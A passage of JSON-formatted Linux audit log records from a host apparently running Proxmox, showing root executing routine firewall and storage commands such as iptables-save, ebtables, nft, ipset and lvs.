subj=unconfined key=\"exec\""} {"@timestamp":1781965275266,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.266:64920): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966295694,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.694:69214): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965061.653:63924): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275258,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.258:64919): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966295688,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.688:69213): proctitle=\"ip6tables-save\""} {"@timestamp":1781965061646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965061.646:63921): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275252,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.252:64917): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966295683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.683:69212): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965060.112:63918): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72545a0 a1=637ee7253340 a2=637ee7240ef0 a3=8 items=2 ppid=61370 pid=61372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.246:64916): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966295674,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966295.674:69211): proctitle=\"iptables-save\""} {"@timestamp":1781965060112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965060.112:63917): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72535b0 a1=637ee7252690 a2=637ee7240ef0 a3=8 items=2 ppid=61370 pid=61371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275239,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.239:64915): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966294367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966294.367:69210): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965060110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965060.110:63916): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72543b0 a1=637ee7244150 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=61369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275234,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.234:64914): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966294336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966294.336:69209): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965275226,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.226:64913): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965056639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965056.639:63915): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966291.086:69208): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275220,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.220:64912): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965056631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965056.631:63912): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966291.086:69207): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275212,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.212:64911): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965055442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.442:63909): arch=c000003e syscall=59 success=yes exit=0 a0=600afedc8e90 a1=600afedc5c10 a2=600afeda7680 a3=5 items=2 ppid=61359 pid=61365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966291.086:69206): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275203,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.203:64910): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965055435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.435:63908): arch=c000003e syscall=59 success=yes exit=0 a0=600af819cac8 a1=7ffd1518e630 a2=600afeda7680 a3=600af818024e items=2 ppid=61359 pid=61361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966291.076:69205): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275199,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.199:64909): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965055434,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.434:63907): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd1518e5f0 a1=600afedae310 a2=600afeda7680 a3=5 items=2 ppid=61359 pid=61360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966291.076:69204): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275191,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.191:64908): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965055426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.426:63905): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966291.076:69203): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275189,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.189:64907): argc=1 a0=\"date\""} {"@timestamp":1781965055414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.414:63904): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966286.064:69202): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275185,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.185:64905): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965055405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.405:63903): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966286.064:69201): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275177,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.177:64904): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965055390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.390:63902): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966286.064:69200): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275170,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.170:64903): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965055380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.380:63901): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61355 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966286.054:69199): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.165:64902): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965055376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.376:63900): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=62afa4068740 items=0 ppid=1156 pid=61354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966286.054:69198): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275154,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.154:64901): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965055370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.370:63899): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966286.054:69197): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965275144,"@rawstring":"node=pve type=EXECVE msg=audit(1781965275.144:64900): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965055363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.363:63898): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13c0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.667:69196): proctitle=\"ebtables-restore\""} {"@timestamp":1781965274489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965274.489:64899): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965055353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.353:63897): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.666:69195): proctitle=\"ebtables-restore\""} {"@timestamp":1781965274456,"@rawstring":"node=pve type=EXECVE msg=audit(1781965274.456:64898): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965055344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.344:63896): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.662:69194): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=EXECVE msg=audit(1781965272.392:64897): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965055334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.334:63895): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285658,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.658:69193): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965272382,"@rawstring":"node=pve type=EXECVE msg=audit(1781965272.382:64894): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965055326,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.326:63894): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.657:69192): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=EXECVE msg=audit(1781965267.377:64891): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965055316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.316:63893): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.657:69191): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=EXECVE msg=audit(1781965267.369:64888): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965055309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.309:63892): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285653,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.653:69190): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965266129,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.129:64885): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965055303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.303:63891): arch=c000003e syscall=59 success=yes exit=0 a0=613fe67bab20 a1=613fe67c69f0 a2=613fe6794680 a3=5 items=2 ppid=61340 pid=61346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.648:69189): proctitle=69707365740073617665"} {"@timestamp":1781965266126,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.126:64884): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965055296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.296:63890): arch=c000003e syscall=59 success=yes exit=0 a0=613fdc6efac8 a1=7ffd538f1330 a2=613fe6794680 a3=613fdc6d324e items=2 ppid=61340 pid=61342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.643:69188): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965266125,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.125:64883): argc=1 a0=\"date\""} {"@timestamp":1781965055295,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.295:63889): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd538f12f0 a1=613fe67b61c0 a2=613fe6794680 a3=5 items=2 ppid=61340 pid=61341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285638,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.638:69187): proctitle=\"ip6tables-save\""} {"@timestamp":1781965266120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.120:64881): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965055286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.286:63887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.633:69186): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965266115,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.115:64880): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965055269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.269:63886): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.627:69185): proctitle=\"iptables-save\""} {"@timestamp":1781965266108,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.108:64879): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965055235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.235:63885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.620:69184): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965266102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.102:64878): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965055228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.228:63884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada500 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.613:69183): proctitle=\"ip6tables-save\""} {"@timestamp":1781965266094,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.094:64877): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965055215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.215:63883): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285607,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.607:69182): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965266086,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.086:64875): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965055196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.196:63882): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966285.601:69181): proctitle=\"iptables-save\""} {"@timestamp":1781965266082,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.082:64874): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965054757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965054.757:63881): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dc030 a1=64f8d73b2c70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966284251,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966284.251:69180): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965266077,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.077:64873): argc=4 